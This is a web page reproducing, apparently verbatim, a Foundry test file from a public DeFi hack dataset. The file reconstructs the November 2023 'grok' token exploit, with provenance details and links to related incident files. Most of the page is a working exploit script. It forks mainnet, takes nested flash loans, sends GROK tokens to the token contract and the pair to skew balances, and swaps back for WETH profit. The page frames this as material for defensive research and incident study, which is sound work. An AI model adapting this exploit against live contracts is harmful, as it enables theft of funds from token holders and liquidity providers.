Public reproduction file
src/test/2023-11/grok_exp.sol
Public reproduction file for dataset entry grok.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: UNLICENSED2pragma solidity ^0.8.10;4import "forge-std/Test.sol";5import "./../interface.sol";7// @KeyInfo - Total Lost : ~26 ETH8// Attacker : https://etherscan.io/address/0x864e656c57a5a119f332c47326a35422294db5c99// Attack Contract : https://etherscan.io/address/0x03e7b13bcd9b8383f403696c1494845560607eca10// Vuln Contract : https://etherscan.io/address/0x8390a1DA07E376ef7aDd4Be859BA74Fb83aA02D511// Attack Tx : https://explorer.phalcon.xyz/tx/eth/0x3e9bcee951cdad84805e0c82d2a1e982e71f2ec301a1cbd344c832e0acaee813?line=13613// @Analysis14// https://twitter.com/Phalcon_xyz/status/172284107612013002016contract ContractTest is Test {17 Uni_Router_V2 router_v2 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);18 Uni_Router_V3 router_v3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564);19 IERC20 grok = IERC20(0x8390a1DA07E376ef7aDd4Be859BA74Fb83aA02D5);20 IERC20 weth = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);21 Uni_Pair_V3 wethpair = Uni_Pair_V3(0x109830a1AAaD605BbF02a9dFA7B0B92EC2FB7dAa);22 Uni_Pair_V3 pair = Uni_Pair_V3(0x66bA59cBD09E75B209D1D7E8Cf97f4Ab34DA413B);24 CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);26 function setUp() public {27 vm.createSelectFork("mainnet", 18_538_679 - 1);28 cheats.label(address(weth), "WETH");29 }31 function testExpolit() public {32 emit log_named_decimal_uint("attaker balance before attack:", weth.balanceOf(address(this)), weth.decimals());33 wethpair.flash(address(this), 0, 30_000_000_000_000_000_000, new bytes(1));34 emit log_named_decimal_uint("attaker balance after attack:", weth.balanceOf(address(this)), weth.decimals());35 }37 function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {38 if (msg.sender == address(wethpair)) {39 pair.flash(address(this), 63_433_590_767_572_373, 0, new bytes(1));40 grok.approve(address(router_v3), grok.balanceOf(address(this)));41 router_v3.exactInputSingle(42 Uni_Router_V3.ExactInputSingleParams({43 tokenIn: address(grok),44 tokenOut: address(weth),45 fee: 10_000,46 recipient: address(this),47 deadline: block.timestamp + 100,48 amountIn: grok.balanceOf(address(this)),49 amountOutMinimum: 30 ether,50 sqrtPriceLimitX96: 051 })52 );53 weth.transfer(address(wethpair), 30 ether + uint256(amount1));54 } else {55 weth.approve(address(router_v2), type(uint256).max);56 grok.approve(address(router_v2), type(uint256).max);57 grok.approve(address(router_v3), type(uint256).max);58 //first step59 address[] memory path = new address[](2);60 path[0] = address(grok);61 path[1] = address(weth);62 router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(63 30_695_631_768_482_954, 0, path, address(this), block.timestamp + 10064 );65 grok.transfer(address(grok), 2_737_958_999_089_419);66 router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(67 30_000_000_000_000_000, 0, path, address(this), block.timestamp + 10068 );69 path[0] = address(weth);70 path[1] = address(grok);71 router_v2.swapTokensForExactTokens(72 64_067_926_675_248_097, weth.balanceOf(address(this)), path, address(this), block.timestamp + 10073 );74 grok.transfer(address(pair), grok.balanceOf(address(this)));75 //second step76 router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(77 30_000_000_000_000_000_000, 0, path, address(this), block.timestamp + 10078 );79 }80 }81}Analysis
Dataset entry
Public Foundry test for “grok” (2023-11-10). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
24 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2023-11/AIS_exp.solSame month in the dataset · 98 lines
- src/test/2023-11/3913_exp.solSame month in the dataset · 163 lines
- src/test/2023-11/BRAND_exp.solSame month in the dataset · 50 lines
- src/test/2023-11/Burntbubba_exp.solSame month in the dataset · 175 lines
- src/test/2023-11/CAROLProtocol_exp.solSame month in the dataset · 228 lines
- src/test/2023-11/EEE_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/EHX_exp.solSame month in the dataset · 87 lines
- src/test/2023-11/FiberRouter_exp.solSame month in the dataset · 78 lines
- src/test/2023-11/KR_exp.solSame month in the dataset · 41 lines
- src/test/2023-11/KyberSwap_exp.eth.1.solSame month in the dataset · 229 lines
- src/test/2023-11/LinkDao_exp.solSame month in the dataset · 73 lines
- src/test/2023-11/MahaLend_exp.solSame month in the dataset · 118 lines
- src/test/2023-11/MetaLend_exp.solSame month in the dataset · 113 lines
- src/test/2023-11/bot_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/MEV_0x8c2d_exp.solSame month in the dataset · 101 lines
- src/test/2023-11/MEV_0xa247_exp.solSame month in the dataset · 188 lines
- src/test/2023-11/OKC_exp.solSame month in the dataset · 341 lines
- src/test/2023-11/OnyxProtocol_exp.solSame month in the dataset · 348 lines
- src/test/2023-11/Raft_exp.solSame month in the dataset · 194 lines
- src/test/2023-11/RBalancer_exp.solSame month in the dataset · 49 lines
- src/test/2023-11/ShibaToken_exp.solSame month in the dataset · 202 lines
- src/test/2023-11/SwampFinance_exp.solSame month in the dataset · 123 lines
- src/test/2023-11/TheNFTV2_exp.solSame month in the dataset · 80 lines
- src/test/2023-11/TheStandard_io_exp.solSame month in the dataset · 236 lines
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x864e656c57a5a119f332c47326a35422294db5c9
- Attack Contract
0x03e7b13bcd9b8383f403696c1494845560607eca
- Attack Tx
0x3e9bcee951cdad84805e0c82d2a1e982e71f2ec301a1cbd344c832e0acaee813
- Explorer: https://etherscan.io/address/0x864e656c57a5a119f332c47326a35422294db5c9
- Explorer: https://etherscan.io/address/0x03e7b13bcd9b8383f403696c1494845560607eca
- Explorer: https://etherscan.io/address/0x8390a1DA07E376ef7aDd4Be859BA74Fb83aA02D5
- Reference: https://twitter.com/Phalcon_xyz/status/1722841076120130020
File record
- Name
- grok
- Path
- src/test/2023-11/grok_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c2bf1edb3a6c1cd447663449c6de08adbab254ba
- Language
- Solidity
- Size
- 82 lines
- Date
- 2023-11-10
- Licence
- file header UNLICENSED; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2023-11/grok_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c2bf1edb3a6c1cd447663449c6de08adbab254ba, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.